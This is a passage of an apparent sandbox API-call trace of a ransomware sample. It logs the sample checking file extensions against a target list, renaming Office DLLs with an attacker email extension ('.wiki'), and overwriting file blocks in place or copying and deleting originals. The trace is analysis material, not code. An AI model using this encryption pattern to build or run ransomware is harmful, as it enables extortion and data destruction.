lpString2="R.DLL") returned -1 [0185.829] lstrlenW (lpString=".pdf") returned 4 [0185.829] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.829] lstrlenW (lpString=".xls") returned 4 [0185.829] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString=".xlsx") returned 5 [0185.830] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0185.830] lstrlenW (lpString=".ppt") returned 4 [0185.830] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString=".zip") returned 4 [0185.830] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString=".rar") returned 4 [0185.830] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString=".bz2") returned 4 [0185.830] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.830] lstrlenW (lpString=".7z") returned 3 [0185.830] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString=".dbf") returned 4 [0185.830] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString=".1cd") returned 4 [0185.830] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString=".jpg") returned 4 [0185.830] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.830] lstrlenW (lpString=".doc") returned 4 [0185.830] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.830] lstrlenW (lpString=".docx") returned 5 [0185.830] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0185.831] lstrlenW (lpString=".pdf") returned 4 [0185.831] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.831] lstrlenW (lpString=".xls") returned 4 [0185.831] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.831] lstrlenW (lpString=".xlsx") returned 5 [0185.831] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0185.831] lstrlenW (lpString=".ppt") returned 4 [0185.831] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.831] lstrlenW (lpString=".zip") returned 4 [0185.831] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.831] lstrlenW (lpString=".rar") returned 4 [0185.831] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.831] lstrlenW (lpString=".bz2") returned 4 [0185.831] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.831] lstrlenW (lpString=".7z") returned 3 [0185.831] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.831] lstrlenW (lpString=".dbf") returned 4 [0185.831] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.831] lstrlenW (lpString=".1cd") returned 4 [0185.831] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.831] lstrlenW (lpString=".jpg") returned 4 [0185.831] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.831] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0185.832] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0185.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0185.832] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=3050912) returned 1 [0185.832] CloseHandle (hObject=0x1d8) returned 1 [0185.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0185.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0185.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0185.833] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0x0) returned 1 [0185.833] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0185.833] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4030058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0185.844] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0185.844] ReadFile (in: hFile=0x1d8, lpBuffer=0x4070058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4070058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0185.862] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0185.862] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0185.862] ReadFile (in: hFile=0x1d8, lpBuffer=0x40b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x40b0058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0185.947] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.947] WriteFile (in: hFile=0x1d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x364fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0186.068] SetEndOfFile (hFile=0x1d8) returned 1 [0186.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x43122c8 [0186.493] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0186.493] WriteFile (in: hFile=0x1d8, lpBuffer=0x43122c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43122c8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0186.750] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0186.750] WriteFile (in: hFile=0x1d8, lpBuffer=0x43122c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43122c8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0186.755] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0186.755] WriteFile (in: hFile=0x1d8, lpBuffer=0x43122c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43122c8*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0186.757] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43122c8 | out: hHeap=0x5c0000) returned 1 [0186.927] CloseHandle (hObject=0x1d8) returned 1 [0186.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.928] lstrlenW (lpString=".doc") returned 4 [0186.928] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString=".docx") returned 5 [0186.928] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0186.928] lstrlenW (lpString=".pdf") returned 4 [0186.928] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString=".xls") returned 4 [0186.928] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString=".xlsx") returned 5 [0186.928] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0186.928] lstrlenW (lpString=".ppt") returned 4 [0186.928] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.928] lstrlenW (lpString=".zip") returned 4 [0186.928] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString=".rar") returned 4 [0186.928] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.928] lstrlenW (lpString=".bz2") returned 4 [0186.928] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.928] lstrlenW (lpString=".7z") returned 3 [0186.928] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.928] lstrlenW (lpString=".dbf") returned 4 [0186.928] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.929] lstrlenW (lpString=".1cd") returned 4 [0186.929] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.929] lstrlenW (lpString=".jpg") returned 4 [0186.929] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.929] lstrlenW (lpString=".doc") returned 4 [0186.929] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0186.929] lstrlenW (lpString=".docx") returned 5 [0186.929] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0186.929] lstrlenW (lpString=".pdf") returned 4 [0186.929] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.929] lstrlenW (lpString=".xls") returned 4 [0186.929] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.929] lstrlenW (lpString=".xlsx") returned 5 [0186.929] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0186.929] lstrlenW (lpString=".ppt") returned 4 [0186.929] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.929] lstrlenW (lpString=".zip") returned 4 [0186.930] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.930] lstrlenW (lpString=".rar") returned 4 [0186.930] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.930] lstrlenW (lpString=".bz2") returned 4 [0186.930] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.930] lstrlenW (lpString=".7z") returned 3 [0186.930] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.930] lstrlenW (lpString=".dbf") returned 4 [0186.930] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.930] lstrlenW (lpString=".1cd") returned 4 [0186.930] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0186.930] lstrlenW (lpString=".jpg") returned 4 [0186.930] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.930] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0186.930] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0186.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0186.931] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=385368) returned 1 [0186.931] CloseHandle (hObject=0x1d8) returned 1 [0186.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0186.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0186.931] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.931] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0186.932] GetLastError () returned 0x0 [0186.932] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x5e158, lpOverlapped=0x0) returned 1 [0186.943] WriteFile (in: hFile=0x210, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x5e160, lpOverlapped=0x0) returned 1 [0186.951] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.951] WriteFile (in: hFile=0x210, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xea, lpOverlapped=0x0) returned 1 [0186.951] SetEndOfFile (hFile=0x210) returned 1 [0186.951] CloseHandle (hObject=0x210) returned 1 [0186.951] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.951] SetEndOfFile (hFile=0x1d8) returned 1 [0186.955] CloseHandle (hObject=0x1d8) returned 1 [0186.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.955] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 1 [0186.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.955] lstrlenW (lpString=".doc") returned 4 [0186.956] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString=".docx") returned 5 [0186.956] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0186.956] lstrlenW (lpString=".pdf") returned 4 [0186.956] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString=".xls") returned 4 [0186.956] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString=".xlsx") returned 5 [0186.956] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0186.956] lstrlenW (lpString=".ppt") returned 4 [0186.956] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.956] lstrlenW (lpString=".zip") returned 4 [0186.956] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString=".rar") returned 4 [0186.956] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.956] lstrlenW (lpString=".bz2") returned 4 [0186.956] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.956] lstrlenW (lpString=".7z") returned 3 [0186.956] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.956] lstrlenW (lpString=".dbf") returned 4 [0186.956] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.956] lstrlenW (lpString=".1cd") returned 4 [0186.956] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.956] lstrlenW (lpString=".jpg") returned 4 [0186.957] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.957] lstrlenW (lpString=".doc") returned 4 [0186.957] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString=".docx") returned 5 [0186.957] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0186.957] lstrlenW (lpString=".pdf") returned 4 [0186.957] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString=".xls") returned 4 [0186.957] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString=".xlsx") returned 5 [0186.957] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0186.957] lstrlenW (lpString=".ppt") returned 4 [0186.957] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.957] lstrlenW (lpString=".zip") returned 4 [0186.957] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString=".rar") returned 4 [0186.957] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0186.957] lstrlenW (lpString=".bz2") returned 4 [0186.957] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0186.957] lstrlenW (lpString=".7z") returned 3 [0186.957] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0186.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.958] lstrlenW (lpString=".dbf") returned 4 [0186.958] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0186.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.958] lstrlenW (lpString=".1cd") returned 4 [0186.958] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0186.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0186.958] lstrlenW (lpString=".jpg") returned 4 [0186.958] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0186.958] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0186.958] lstrlenW (lpString="Csi.dll") returned 7 [0186.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0186.959] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=5072816) returned 1 [0186.959] CloseHandle (hObject=0x1d8) returned 1 [0186.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0186.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0186.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0186.960] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0x0) returned 1 [0186.960] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0186.960] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4030058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0186.964] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0186.964] ReadFile (in: hFile=0x1d8, lpBuffer=0x4070058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4070058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0186.970] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0186.970] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0186.970] ReadFile (in: hFile=0x1d8, lpBuffer=0x40b0058, 